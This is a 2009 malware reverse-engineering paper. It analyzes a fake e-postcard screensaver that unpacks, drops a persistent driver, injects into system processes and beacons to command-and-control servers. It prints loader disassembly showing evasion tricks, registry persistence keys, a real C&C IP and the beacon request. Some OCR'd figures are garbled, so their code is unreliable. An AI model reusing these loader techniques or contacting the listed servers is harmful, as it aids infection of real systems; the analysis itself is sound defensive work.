Reverse Engineering a Windows “Screensaver” e-Postcard

GREM Gold Certification

Author: Seth Hardy, shardy@aculei.net

Advisor: Dominicus Adriyanto

Accepted: March 26, 2009
TABLE OF FIGURES................................................................................................................................. 4

ABSTRACT.......................................................................................................................................................... 6

ABSTRACT.......................................................................................................................................................... 6

1. INTRODUCTION; ABOUT THIS PRACTICAL.................................................................................. 7

2. REVERSING ENVIRONMENT.............................................................................................................. 9

2.1 Virtualization – Quick and Easy Reversing Environments.............................................................. 9

2.2 Virtualization Isn’t Perfect.................................................................................................................. 10

2.3 Our Reversing Environment............................................................................................................... 11

3. INITIAL STATIC ANALYSIS............................................................................................................... 13

3.1 Why Start With Static Analysis?....................................................................................................... 13

3.2 Sample Details........................................................................................................................................ 13

4. INITIAL DYNAMIC ANALYSIS........................................................................................................... 18

4.1 Further Decryption.............................................................................................................................. 18

4.2 Summary – Initial Analysis.................................................................................................................. 23

5. BEHAVIORAL ANALYSIS.................................................................................................................... 25

5.1 Setting Up The Host............................................................................................................................ 25

5.2 Infection.................................................................................................................................................. 26

5.3 Network Activity.................................................................................................................................... 29
Table of Figures

Figure 1: PEiD output on the original sample ..................................................15
Figure 2: Hexdump of .data segment ..............................................................18
Figure 3: PEiD after UPX unpacking ...............................................................19
Figure 4: .text instructions from OllyDbg .......................................................20
Figure 5: .data after decryption (hex) ............................................................21
Figure 6: .data after decryption (code) ...........................................................22
Figure 7: IDA auto analysis (before decryption) .............................................23
Figure 8: IDA auto analysis (after decryption) ...............................................23
Figure 10: Embedded executable #1 .............................................................33
Figure 11: Embedded executable #2 .............................................................34
Figure 12: Embedded executable #2 .............................................................34
Figure 13: Stage 1 Overview .........................................................................36
Figure 14: Hidden VirtualAlloc call ...............................................................37
Figure 15: sneaky_get_kernel_base ...............................................................38
Figure 16: Passing off control to embedded executable code .....................39
Figure 17: Some stage 2 strings ....................................................................40
Figure 18: Oops! It doesn't like it when you try to delete it...
Reverse Engineering a Windows "Screensaver" e-Postcard

Figure 19: Siberia2 program database................................................................. 41
Figure 20: Some function names........................................................................ 42
Figure 21: Getting the SigningHash value from the registry......................... 44
Figure 22: Construction of the GET request....................................................... 45
Figure 23: Creating a new svchost.exe process................................................ 46
Figure 24: CreateProcessA, ReadProcessMemory, VirtualAllocEx, 
WriteProcessMemory......................................................................................... 47
Figure 25: Virustotal output for card.scr............................................................... 48
Abstract

In this paper, we will cover the reverse engineering of a Windows Portable Executable (PE) file, claiming to be an e-postcard in the form of a screensaver, that is suspected to be malicious. With no prior information on what the file is or what it is supposed to do, we will use a combination of static and behavioural analysis to identify what the software does and what malicious action it takes against a system. In order to do this in a way that is safe, we will also cover the reversing environment and best practice techniques for handling potentially malicious software. In conclusion, we will summarize the characteristics of the software we’ve identified as malicious.
1. Introduction; About This Practical

It is difficult to write about a sufficiently advanced topic without making some assumptions about the reader. Since the task of finding a “new” malware sample to analyze for this practical was part of the GREM Gold process, and since the author actively works with reverse engineering malware on a day-to-day basis, the sample chosen seems to have been a bit more complicated than the average IRC bot found in most of the published GREM Gold papers!

While taking on a more difficult task isn’t a problem, it does mean that there’s more work to be done for analysis, and that writing down every little detail may be overwhelming and not very useful. For this reason, it was a deliberate choice not to include various information that pads out many other GREM Gold papers that were read for guidance on what to cover. You won’t find pages and pages of output from strings here, or the amount of RAM in the laptop used for running virtual machines. There won’t be line-by-line analysis of every single assembly instruction in the malware sample, and certainly no copy and pasted information on networking protocols.

For the sake of this paper not expanding to hundreds of pages and taking far beyond the allowed timeframe to write, there are some assumptions made on the part of the reader: that she or he is familiar with x86 assembler and machine architecture, knows how to use a debugger and a disassembler, knows how to use network monitoring tools, and knows how to look up well-documented technical information. That being said, in exchange for these assumptions, a focus is put on trying to illustrate higher-level concepts by demonstrating specific
examples of them in the code.

There’s a lot to cover here, so hopefully this analysis is as easy to follow along with as possible, while still maintaining a level of technical accuracy and thoroughness beyond what is expected.
2. Reversing Environment

Before we can begin, we have to consider the fact that we’ll be working with software that may likely do any number of dangerous things:

- Infect our system in a way that is difficult to detect;
- Replicate itself to other systems in a way that can be traced back to us;
- Install a keylogger or other monitoring system;
- Send spam, phishing attacks, or other malware;
- Delete any and all files, whether intentionally or not;
- ...and the list goes on...

Obviously we don’t want to do this on a system that we’re concerned about, such as one we use for every day tasks. Additionally, while we want the system to be disconnected from the Internet, we will want it to be connected to a network so that we can observe any network activity that may be generated.

2.1 Virtualization – Quick and Easy Reversing Environments

The simple solution to satisfy these requirements is virtualization. By creating a virtual machine to use as a reversing system, we are keeping the malware in a contained environment. Virtual machines often have snapshot capability: a capture of the state of a machine at a particular time, with the
option to quickly roll back to that state. A known good baseline (i.e. a clean install) can be kept in a snapshot, and we can revert back to that snapshot each time we need to be sure the environment is clean, e.g. while we are working on observing the infection process or moving on to another task.

Virtual machines also have the capability of operating in “host-only” networking mode, that is, the virtual machine monitor will create a network directly between the virtual machine and the host machine, with no connection to the outside world. This will allow us to use monitoring tools on the host machine to observe network traffic destined for the Internet, without any real danger of the malware connecting to real, live systems.

2.2 Virtualization Isn’t Perfect

There are a couple of caveats to using virtual machines for malware analysis, however. The first is that there are many techniques used for detecting whether a program is being run within a virtual machine, and that different kinds of malware will often use this detection as a way of frustrating analysis. Some malware will simply not execute if the presence of a VM is detected; other kinds will take defensive action, such as by deleting itself from the system. The advantages of virtualization (ease of setup, speed to roll back, host-only networking environments with only one machine) warrant giving the analysis a try before moving on to a more complicated lab setup if anti-VM techniques are found.

The second caveat is that virtual machines are not real security boundaries. While (currently) exceptionally rare in the wild, there are techniques that will allow a system to
compromise a virtual machine monitor and let the malware “break out” into the host operating system, continuing to cause damage from there. To mitigate this risk, virtualization software should be kept up-to-date with all patches applied, and monitoring for any unusual behavior on the host system done while the reversing work is underway.

### 2.3 Our Reversing Environment

The dynamic analysis done in this paper is entirely performed in virtual machines.

The guest operating system is Windows XP, fully patched. This is a custom image put together specifically for reversing, which has just the tools needed for analysis installed. After each time malware is run, the image is reverted back to the baseline snapshot.

The host operating system is actually multiple host operating systems, depending on where the work was being done. Most of the work used an Ubuntu Linux host running VMWare Server (initially version 2, then downgraded to version 1 due to stability reasons), although time spent working on the paper on the road used a MacBook running OS X, with Parallels as the virtualization system.

In each case, a virtual network was set up in host only mode. As the configuration for each virtualization system is different, as are the IP ranges, specifics of the configurations are omitted here. The important part is that the virtual machine can only communicate with the host running the virtual machine monitor, and not with the Internet at large (such as in bridged or NAT modes).
The risk of having the virtual network allow malware to communicate with the host operating system as part of the analysis was determined to be acceptable. The reasons for this are that the host systems are kept up to date, have almost no network-accessible services available, and monitoring of network traffic was always done using a network sniffer (in this case, Wireshark).

Certain parts of the static analysis were performed in the host operating system, but only when the risk was decided to be negligible. Specifically, Unix command-line tools were used on the binary on the Ubuntu host operating system after it was determined that the software is a Windows executable. This was decided to be an acceptable risk as the machine is a dedicated malware analysis machine.
3. Initial Static Analysis

3.1 Why Start With Static Analysis?

Why do we start with taking a look at what’s in the program, instead of what it does? This is entirely a matter of preference—usually, we’ll have to go back and forth between the two, using hints from one side of the analysis to help out with getting further on the other side.

Since most malware is protected in some way, taking a peek at the code first can give a good idea of whether the sample is malicious. If it’s packed or encrypted, chances are likely whatever is inside is going to be of interest. Starting with static analysis also is a good opportunity to collect identifying information about the unknown file at the beginning of our analysis, so that we can ensure nothing about our sample has changed at any point during the process.

3.2 Sample Details

The sample is a file named card.scr, shared via a security mailing list (which has policy requiring it to remain unidentified unless necessary). The sample was chosen because (at the time) it was identified as a “new” sample: very few commercial antivirus products detected it as malicious (as demonstrated by Virustotal), and the malicious code itself had not been identified.

The sample claims, via its extension, to be a Windows screensaver file. Windows .scr screensaver files are actually standard Windows Portable Executable (PE) files, structurally
the same as an .exe. The method of distributing malware through fake screensavers is well known in the malware research community (Wikipedia).

The first step is to gather some baseline information on the file, even if just to reference the file later on. Using standard Linux command-line tools such as ls, md5sum, sha1sum, and file, we can collect information on the file. The file is copied to card.scr.orig so that we can keep it as a baseline in case any modification (e.g. unpacking) needs to be done.

The file is small, at 22k, and the file utility suggests that it appears to be UPX compressed.

The next step would be to determine whether the sample is packed, but it seems like we already have a good idea that it is. A common tool for detecting what kind of packer is involved is PEiD, but in this case, it doesn't correctly detect the UPX packing. The output from PEiD is displayed in Figure 1; while there is no signature match, it does detect the presence of a packer using entropy, entry point, and fast checking. It also notes that the name of the section where the entry point is located is called UPX1, a good hint that the UPX packer is involved (Tuts4You Forum).
Figure 1: PEiD output on the original sample

Taking a look at the section names and characteristics using the utility objdump is another good way of getting some basic information on the sample. objdump -f will display the file header information, and objdump -h will display the executable section headers.
It’s pretty clear that this is UPX packed; rather than waste more time doing analysis here, let’s see if the UPX unpacker will help out. To make things even simpler, UPX can be installed in Ubuntu with the single command “sudo apt-get install upx”.

To decompress a UPX packed sample, we use the -d flag.

```
$ objdump -f card.scr.orig
card.scr: file format efi-app-ia32
architecture: i386, flags 0x0000012e:
EXEC_P, HAS_LINENO, HAS_DEBUG, HAS_LOCALS, D_PAGED
start address 0x1000dd20

$ objdump -h card.scr.orig
card.scr.orig: file format efi-app-ia32

Sections:
Idx  Name           Size      VMA       LMA       File off  Algn
  0  UPX0  00008000  10001000  10001000  00000400  2**2 CONTENTS, ALLOC, CODE
  1  UPX1  00005000  10009000  10009000  00000400  2**2 CONTENTS, ALLOC, LOAD, CODE, DATA
  2  UPX2  00000200  1000e000  1000e000  00005400  2**2 CONTENTS, ALLOC, LOAD, DATA

$ upx -d card.scr
Ultimate Packer for eXecutables
UPX 3.01 Markus Oberhumer, Laszlo Molnar & John Reiser Jul 31st 2007

File size Ratio Format Name
------------------------ ------ ----------- -----------
40960 <- 22016 53.75% win32/pe card.scr

Unpacked 1 file.
```

UPX doesn’t give any errors, but to confirm that the unpacking worked, we should repeat the previous steps that gather information on the file. Note that the file is overwritten in-place, another reason why having the original around as card.scr.orig is useful.
Reverse Engineering a Windows "Screensaver" e-Postcard

Now that we have the sample unpacked, it’s time to start the real analysis... right?

```bash
$ ls -l card.scr
-rw-r--r-- 1 shardy shardy 40960 2008-07-02 15:41 card.scr
$ md5sum card.scr
dcd05ea350f153690a136fdfe227967  card.scr
$ shalsum card.scr
bce54f64dc78e91da72254e33c9bbde50ee24331  card.scr
$ file card.scr
card.scr: MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit
$ objdump -f card.scr
card.scr:     file format efi-app-ia32
architecture: i386, flags 0x0000012e:
EXEC_P, HAS_LINENO, HAS_DEBUG, HAS_LOCALS, D_PAGED
start address 0x10001000
sample$ objdump -h card.scr
card.scr:     file format efi-app-ia32
Sections:
Idx Name          Size      VMA               LMA               File off  Algn
 0 .text         00000100  10001000  10001000  00000400  2 **2
CONTENTS, ALLOC, LOAD, READONLY, CODE
 1 .data         00009a00  10002000  10002000  00000600  2 **2
CONTENTS, ALLOC, LOAD, DATA
```
4. Initial Dynamic Analysis

4.1 Further Decryption

Something’s still not quite right with the sample. It seems like the file is still packed, or at the very least, its contents are encrypted: there’s a small .text section and a larger .data section filled with bytes that are not immediately recognizable as either code or data, shown in Figure 2.

![Hexdump of .data segment](image)

Figure 2: Hexdump of .data segment

While we’re in IDA taking a look at the contents of .data, it’s also easy to see that there’s no import table present, and that the strings have that simple encryption (e.g. byte XOR) “feel” to them: printable characters showing up in strings, but nothing that makes sense.

PEiD insists that the file isn’t packed, as shown in Figure
3.

Assuming we have another layer of protection here, let’s take a look at the code in the .text segment and try to figure it out. Fortunately, it’s very simple. Looking at the code in Figure 4, it’s easy to see that there are a couple of loops where the data in the .data segment is altered (remember that .data starts at 0x10002000).

![PEiD after UPX unpacking](image-url)
Reverse Engineering a Windows “Screensaver” e-Postcard

![CPU - main thread, module card](image)

### Figure 4: .text instructions from OllyDbg

```assembly
100010AF  8B45 FC        MOV EAX,DWORD PTR SS:[EBP-4]
100010B2  50             PUSH EAX
100010B3  C3             RETN
```

However, we don’t even have to waste a lot of time here on understanding what the unpacking algorithm is. At 0x100010AF,
certain instructions stand out.

At the beginning of the code (0x1000100D), the start of the .data segment is put into SS:[EBP-4]. So, these instructions act as an unconditional jump to the beginning of .data at location 0x10002000 by moving the location to EAX, pushing it to the stack, and then popping it and jumping to it as part of the RETN instruction.

To quickly verify that this is decrypting the code and running it, we can set a breakpoint at 0x100010B3, and then take a look at the .data section.

![Figure 5: .data after decryption (hex)](image)

The contents of .data have definitely changed. Since we now know this is code, we should be looking at a disassembly view.
Reverse Engineering a Windows “Screensaver” e-Postcard

To do this in OllyDbg, we right click on the dump window, and select “Disassemble”.

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex dump</th>
<th>Disassembly</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>10002300</td>
<td>85</td>
<td>PUSH EBX</td>
<td></td>
</tr>
<tr>
<td>10002301</td>
<td>8EC</td>
<td>MOV EBP, ESP</td>
<td></td>
</tr>
<tr>
<td>10002302</td>
<td>83EC 49</td>
<td>SUB ESP, 40</td>
<td></td>
</tr>
<tr>
<td>10002306</td>
<td>C745 8B EC 00300001</td>
<td>MOV DWORD PTR SS:[EBP-201], card.10000300</td>
<td></td>
</tr>
<tr>
<td>10002306</td>
<td>C645 C8 5E</td>
<td>MOV BYTE PTR SS:[EBP-381], 56</td>
<td></td>
</tr>
<tr>
<td>10002311</td>
<td>C645 CF 43</td>
<td>MOV BYTE PTR SS:[EBP-377], 69</td>
<td></td>
</tr>
<tr>
<td>10002315</td>
<td>C645 C9 72</td>
<td>MOV BYTE PTR SS:[EBP-363], 72</td>
<td></td>
</tr>
<tr>
<td>10002319</td>
<td>C645 LB 74</td>
<td>MOV BYTE PTR SS:[EBP-361], 74</td>
<td></td>
</tr>
<tr>
<td>1000231D</td>
<td>C645 CC 75</td>
<td>MOV BYTE PTR SS:[EBP-341], 75</td>
<td></td>
</tr>
<tr>
<td>10002321</td>
<td>C645 CB 61</td>
<td>MOV BYTE PTR SS:[EBP-333], 61</td>
<td></td>
</tr>
<tr>
<td>10002325</td>
<td>C645 CE 6C</td>
<td>MOV BYTE PTR SS:[EBP-321], 6C</td>
<td></td>
</tr>
<tr>
<td>10002329</td>
<td>C645 CF 41</td>
<td>MOV BYTE PTR SS:[EBP-313], 41</td>
<td></td>
</tr>
<tr>
<td>1000232D</td>
<td>C645 C0 6C</td>
<td>MOV BYTE PTR SS:[EBP-301], 6C</td>
<td></td>
</tr>
<tr>
<td>10002331</td>
<td>C645 D1 6C</td>
<td>MOV BYTE PTR SS:[EBP-291], 6C</td>
<td></td>
</tr>
<tr>
<td>10002335</td>
<td>C645 D2 6F</td>
<td>MOV BYTE PTR SS:[EBP-281], 6F</td>
<td></td>
</tr>
<tr>
<td>10002339</td>
<td>C645 D3 63</td>
<td>MOV BYTE PTR SS:[EBP-271], 63</td>
<td></td>
</tr>
<tr>
<td>1000233D</td>
<td>C645 D4 00</td>
<td>MOV BYTE PTR SS:[EBP-251], 00</td>
<td></td>
</tr>
<tr>
<td>10002341</td>
<td>E8 00000000</td>
<td>CALL card.10002300</td>
<td></td>
</tr>
<tr>
<td>10002346</td>
<td>8445 FC</td>
<td>MOV DWORD PTR SS:[EBP-1], EAX</td>
<td></td>
</tr>
<tr>
<td>10002349</td>
<td>8045 C8</td>
<td>LEA EAX, DWORD PTR SS:[EBP-38]</td>
<td></td>
</tr>
<tr>
<td>1000234C</td>
<td>50</td>
<td>PUSH EAX</td>
<td></td>
</tr>
<tr>
<td>1000234D</td>
<td>844D FC</td>
<td>MOV EAX, DWORD PTR SS:[EBP-4]</td>
<td></td>
</tr>
<tr>
<td>10002350</td>
<td>51</td>
<td>PUSH ECX</td>
<td></td>
</tr>
<tr>
<td>10002351</td>
<td>E8 0A000000</td>
<td>CALL card.10002240</td>
<td></td>
</tr>
<tr>
<td>10002356</td>
<td>83C4 98</td>
<td>MOV ESP, EBP</td>
<td></td>
</tr>
<tr>
<td>10002359</td>
<td>8445 EC</td>
<td>MOV DWORD PTR SS:[EBP-11], EAX</td>
<td></td>
</tr>
<tr>
<td>1000235C</td>
<td>808E 8B</td>
<td>MOV EDX, DWORD PTR SS:[EBP-20]</td>
<td></td>
</tr>
<tr>
<td>1000235F</td>
<td>8445 EA</td>
<td>MOV EAX, DWORD PTR SS:[EBP-20]</td>
<td></td>
</tr>
<tr>
<td>10002362</td>
<td>8442 8C</td>
<td>ADD EAX, DWORD PTR DS:[EDX+8C]</td>
<td></td>
</tr>
<tr>
<td>10002365</td>
<td>8445 F8</td>
<td>MOV DWORD PTR SS:[EBP-3], EAX</td>
<td></td>
</tr>
<tr>
<td>10002368</td>
<td>8A 40</td>
<td>MOV 40, EAX</td>
<td></td>
</tr>
<tr>
<td>1000236A</td>
<td>8A 00000000</td>
<td>MOV 3000, EAX</td>
<td></td>
</tr>
<tr>
<td>1000236F</td>
<td>844D F8</td>
<td>MOV EAX, DWORD PTR SS:[EBP-8]</td>
<td></td>
</tr>
<tr>
<td>10002372</td>
<td>851 90</td>
<td>MOV EDX, DWORD PTR DS:[EDX+50]</td>
<td></td>
</tr>
<tr>
<td>10002375</td>
<td>52</td>
<td>PUSH EDX</td>
<td></td>
</tr>
<tr>
<td>10002376</td>
<td>8448 F8</td>
<td>MOV EAX, DWORD PTR SS:[EBP-8]</td>
<td></td>
</tr>
<tr>
<td>10002379</td>
<td>8448 94</td>
<td>MOV EAX, DWORD PTR DS:[EDX+94]</td>
<td></td>
</tr>
<tr>
<td>1000237C</td>
<td>51</td>
<td>PUSH ECX</td>
<td></td>
</tr>
<tr>
<td>1000237D</td>
<td>FF55 EC</td>
<td>CALL DWORD PTR SS:[EBP-14]</td>
<td></td>
</tr>
<tr>
<td>10002380</td>
<td>8445 08</td>
<td>MOV DWORD PTR SS:[EBP-20], EAX</td>
<td></td>
</tr>
<tr>
<td>10002383</td>
<td>8445 F8</td>
<td>MOV EAX, DWORD PTR SS:[EBP-8]</td>
<td></td>
</tr>
<tr>
<td>10002386</td>
<td>8442 84</td>
<td>MOV EAX, DWORD PTR DS:[EDX+54]</td>
<td></td>
</tr>
</tbody>
</table>

Figure 6: .data after decryption (code)

This looks promising: this may be the real code! In order to save it so that we don’t have to work in OllyDbg each time, we can dump the sections in memory to a file, and then rebuild the PE header around it.

OllyDbg has a plugin, installed by default, called OllyDump. The first thing to do is get EIP to the first instruction in the .data segment by taking one step in the debugger by pressing F8. Once there, by going to Plugins->OllyDump->Dump debugged process, we can dump the memory to a new file. The entry point is now 0x10002000, the start of the decrypted .data, bypassing the decryption code.
Despite being dumped as an .exe, the file can’t be run as-is, the PE headers need to be rebuilt. The tool LordPE has the ability to do this quickly and easily: open LordPE, select “Rebuild PE”, choose the file, and it’s done. We now have a working executable that’s decrypted, which is immediately obvious in IDA.

![Figure 7: IDA auto analysis (before decryption)](image1)

![Figure 8: IDA auto analysis (after decryption)](image2)

A quick look at the analysis bar in IDA for the malware before and after decryption indicates that we’re on the right track. The olive green that makes up most of the encrypted program represents “unexplored” data, i.e. data that IDA can’t recognize. This is the entirety of the .data section; the narrow bands of color at the beginning reference the code in .text.

However, once we’ve decrypted .data, IDA is able to help us out a lot more. The broader bands of blue are functions, and the grey bands are data. There’s still unexplored data in there, but now we’ve got a lot more to start working with.

### 4.2 Summary – Initial Analysis

We’ve learned the following from doing our initial static analysis of the sample:

- The program is packed twice, once with UPX, once with an
unknown method

- Someone doesn’t want us to see what’s going on in the code

- PEiD isn’t always correct!

We still have a lot more work to do to determine what the sample does.
5. Behavioral Analysis

We’ve now defeated the protection around the code we’d like to look at. But what are we looking for? Before we do any more digging in the code, we can get a hint as to what we should be looking for by running the program and seeing what happens.

5.1 Setting Up The Host

Some of the best hints as to what malware does come from the network traffic it generates. Is it sending spam? Is it sending recorded keystrokes? Is its traffic encrypted? Is it modern botnet software that uses P2P communication, or does it still connect to an ancient IRC server? We want to make sure we can see every bit of communication the software attempts with the outside world.

To do this, we’ll use (on the Linux host operating system) the honeyd virtual honeypot program. Honeyd, in its simplest form, will allow the host operating system to simulate the Internet, listening on any IP and any port.

Honeyd is simple to get running on the host in this mode: all you have to do is specify the interface. In this case, since we are using VMWare host-only networking mode, the appropriate interface is vmnet1. Invoking honeyd with “honeyd -i vmnet1” is all that is necessary; from there, we can use Wireshark on the host system to sniff all traffic on vmnet1.

On the guest OS, we will have to set the system IP and gateway manually in order for the OS to talk to the host. The system IP can be anything on the subnet, while the gateway must
be the IP of the host (the internal IP on vmnet1). Once the
guest networking is set up, any traffic sent from the guest
intended for the Internet will connect to honeyd.

5.2 Infection

The first thing we’ll look for is filesystem changes: any
created, altered, or deleted files. This includes the registry
as a special case, as any infection will most likely modify the
registry to persist beyond a reboot.

To view the filesystem changes, we’ll use the FileMon
program, freely available as part of the Windows Sysinternals
tools. FileMon will observe any filesystem activity and provide a
(very verbose) log of each file access. We can then filter the
log on the name of the program we’ve run (in our case, card-
dumped.exe) and export it to a comma separated values (CSV)
style spreadsheet.

To observe registry changes, we’ll use the RegShot program,
another freely available utility. With RegShot, we take a
snapshot of the registry before we run the malware, and then a
second snapshot afterwards. RegShot will then compare the two
snapshots, and provide a readable summary of the differences
between the two.

We could also use the RegMon utility also included in the
Sysinternals suite, but because it is also very verbose, and
because there are a lot of registry accesses as part of normal
operation, RegShot is a more useful tool for when we’re looking
just for a summary of registry changes.
Reverse Engineering a Windows "Screensaver" e-Postcard

Here we go: let’s run the program and see what happens.

The first observed behavior is that the executable disappears: apparently, it deletes itself! So where does the malware go (if anywhere, on the disk)? FileMon tells us:

So, in this case, the program has dropped a file on the disk in the C:\WINDOWS\System32\drivers directory. Revering to the VM snapshot and trying a few more times, we can observe that the file name is always different, but follows a certain pattern: three letters, two numbers, ends with the .sys extension.

RegShot also demonstrates how the malware has changed the registry. Running the malware adds 17 keys with 52 values to the registry, and also modifies 4 values. A quick look over the RegShot log can give us an idea of what we should be looking out for on the system:
Reverse Engineering a Windows "Screensaver" e-Postcard

From this information, it’s a pretty safe bet that the malware will still be around if the machine is rebooted, even if in Safe Mode. It appears to add itself as a service, and we can confirm this by looking at the list of services (available directly in Windows by going to Start->Run “services.msc”), or using the Sysinternals Autoruns tool:

```
---
Keys added: 17
---
HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Gxh54.sys
HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Network\Gxh54.sys
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_GXH54
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_GXH54\0000
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_GXH54\0000\Control
HKLM\SYSTEM\ControlSet001\Services\Gxh54
HKLM\SYSTEM\ControlSet001\Services\Gxh54\Security
HKLM\SYSTEM\ControlSet001\Services\Gxh54\Enum
HKLM\SYSTEM\ControlSet0002\Services\Gxh54
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Gxh54.sys
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Gxh54.sys
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_GXH54
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_GXH54\0000
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_GXH54\0000\Control
HKLM\SYSTEM\CurrentControlSet\Services\Gxh54
HKLM\SYSTEM\CurrentControlSet\Services\Gxh54\Security
HKLM\SYSTEM\CurrentControlSet\Services\Gxh54\Enum
```
5.3 Network Activity

We have two options for viewing network activity: we can either watch network traffic on the guest OS, or on the host. Since both are pretty simple, we might as well do both, and make sure what we’re seeing matches up on both ends.
On the client side, we can use yet another handy Sysinternals program, TCPView, to get an idea of network traffic. This is chosen over a general purpose network sniffer such as Wireshark because it gives more information, such as what program has created the sockets.

Trying TCPView without honeyd set up, we can observe that immediately after executing the malware, an unexplained network connection attempt is made. All that is sent is a SYN packet to one of seven possible IPs, each on port 80: HTTP. A connection is attempted to one of the IPs, and if it times out, the system will cycle through the rest.

"The system" will cycle through the rest? According to TCPView, the connection is being made from C:\WINDOWS\system32\winlogin.exe. This makes sense, given the observed behavior of the malware dropping a device driver file with the .sys extension: somehow the malware has injected new code into the system, so new connection attempts will be coming from a different place than the original executable.

Without even knowing what is being sent, we can use the IPs which must be hardcoded in the program as an indicator of whether this connection is good news. We don’t want to directly connect to them—what if they are malicious servers which monitor unauthorized activity!—but we can get a general idea of whether they are on a “sketchy part of the Internet.” By doing ARIN lookups (available at http://ws.arin.net/whois/), we can see that four of the seven IPs are at McColo, an ISP well-known for its active involvement in botnet command and control (C&C) servers (Claburn, 2008). This is the same McColo that was de-peered last autumn, resulting in an immediate drop in about 75%
Reverse Engineering a Windows "Screensaver" e-Postcard

of spam on the Internet, thanks to cutting off the Srizbi botnet.

So, what is the malware trying to communicate? Let’s turn on honeyd, then run a network sniffer on the interface. With honeyd active, the host machine will pretend to be any of the IPs requested, follow through with the TCP three-way handshake, and we can use any tool to monitor traffic. We could even pretend to be the C&C server and send data back, but for now, we’ll just sniff.

Using tcpdump, we can see that the connection is in fact for a HTTP request:

```plaintext
shardy@shardy-desktop:~/Documents/giac-sample$ tcpdump -X -r connection.pcap
reading from file connection.pcap, link-type EN10MB (Ethernet)
12:50:37.495053 IP 192.168.104.128.2550 > 208.66.195.71.www: S 2131834684:2131834684(0) win 64240 <mss 1460,nop,nop,sackOK>
   0x0000: 4500 0030 1e2b 4000 8006 1fea c0a8 c0a8 E..0.+0.....h.
   0x0010: d042 c347 09f6 0050 7f11 3733 0000 0000 .B.G...P.7......
   0x0020: 7002 faf0 0ae8 0000 0204 05b4 0101 0402 0.0............
12:50:37.498527 IP 208.66.195.71.www > 192.168.104.128.2550: S 0:0(0) ack 2131834685 win 16000 <mss 1460>
   0x0000: 4500 002c 226f 0000 4006 d91b d042 c347 E.,"o..@....B.G
   0x0010: c0a8 6880 0050 09f6 0000 0000 7f11 373d ..h..P..7=
   0x0020: 6012 3e80 dc4e 0000 0204 05b4 0000 ......>. ...................
   0x0000: 4500 0028 1e2c 4000 8006 1f98 c0a8 6880 E..(.,@.......h.
   0x0010: d042 c347 09f6 0050 7f11 3733 0000 0001 .B.G...P.7......
   0x0020: 5010 faf0 bccd 0000 P.....
   0x0000: 4500 0080 1e2d 4000 8006 1f98 c0a8 6880 E..-@.......h.
   0x0010: d042 c347 09f6 0050 7f11 3733 0000 0001 .B.G...P.7......
   0x0020: 5010 faf0 bccd 0000 P.....
```

The actual HTTP request is a simple GET request:

```
GET /40E800083DF96F79013A625B6C0000003C660000000007600000029BEBO00530E01B242D HTTP/1.0
```

Seth Hardy  Page 31  23/04/2009
This behavior looks like communication with the malware’s C&C server, encoded in some way. Since we are not connecting to a live server, we do not have any way of knowing what the response is.

5.4 Summary

So, we’ve learned the following from running the malware:

- It will drop a file that claims to be a device driver
- It will add registry keys to ensure that it is restarted after reboot
- It will attempt to contact one of seven C&C servers via a HTTP request

This, particularly the file dropping and network connection, will give us a good idea of what we’d like to look for while we’re doing code analysis.
6. Static Analysis, Continued

6.1 File Overview

Looking over the decrypted executable in IDA, whether in code or in hex mode, reveals a number of interesting bits of information. One thing that stands out is that in the original executable, there are three embedded executables (in memory, and then embedded resources).

---

Figure 10: Embedded executable #1
Reverse Engineering a Windows “Screensaver” e-Postcard

Figure 11: Embedded executable #2

Figure 12: Embedded executable #3
By taking a look at the strings found, we can determine that the registry keys and references appear in the first embedded executable, references to winlogon.exe appear in the second embedded executable, and the strings related to the HTTP traffic such as “GET” and “HTTP/1.0” appear in the third.

Since we’ve spent a lot of time on code analysis already, and there’s still plenty left to analyze, we can use this information to get a better idea of what to focus our attention on. It’s a safe guess that the original file is a loader, the first and second embedded executables infect and rootkit the system, and the third embedded executable does the work and communicates with the outside world. We’ll split this up into three stages: the initial sample itself is stage 1, the first and second embedded executables acting as the infector are stage 2, and the third embedded executable acting as the payload is stage 3.

6.2 Stage 1 Analysis

We can use IDA’s graphing view to get an idea of the malware’s program execution flow. By positioning the cursor at the start point of the program (which IDA will automatically identify) and pressing the space bar, IDA will display the graph view.
The code doesn’t look particularly complex. Blue arrows represent unconditional jumps, green arrows represent the true branch of conditional jumps, and red arrows represent the corresponding false branch.

If we start at the beginning, we can immediately see a number of signs that certainly point towards this code being malicious. Looking in the start code, we can immediately see something obviously suspicious: the presence of the string “VirtualAlloc”, but moved into variables byte by byte. Because the string is not in contiguous memory, but as single bytes in a series of mov instructions that are only put into adjacent
memory locations when the program is run, it will not show up by running the strings command on the binary.

```
VAR_kernelbase = DWORD ptr -4
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_M2offset], offset mzerembededexe
mov [ebp+var_VirtualAlloc], 'V'
mov [ebp+var_39], 'I'
mov [ebp+var_26], 'P'
mov [ebp+var_25], 'T'
mov [ebp+var_34], 'U'
mov [ebp+var_23], 'a'
mov [ebp+var_32], 'A'
mov [ebp+var_31], 'A'
mov [ebp+var_30], 'I'
mov [ebp+var_29], 'F'
mov [ebp+var_28], 'F'
mov [ebp+var_27], 'C'
mov [ebp+var_26], 'C'
call sneaky_get_kernel_base ; get kernel32.dll base in a sneaky way!
lea eax, [ebp+var_VirtualAlloc] ; eax points to string "VirtualAlloc"
push eax
mov ecx, [ebp+var_kernelbase]
push ecx
Call search_imports
add esp, 6
mov [ebp+var_searchimports], eax
mov edx, [ebp+var_M2offset] ; edx = offset of embedded exe
mov eax, [ebp+var_M2offset] ; eax = offset of embedded exe
add eax, [edx+2Ch] ; eax = offset of PE header in embedded exe
mov [ebp+var_PEOffset], eax
push 40h
push 30000h
mov ecx, [ebp+var_PEOffset] ; starts as EO
mov edx, [ecx+50h]
push edx
mov ecx, [ebp+var_PEOffset]
add edx, [ecx+2ah]
push ecx
Call [ebp+var_searchimports]
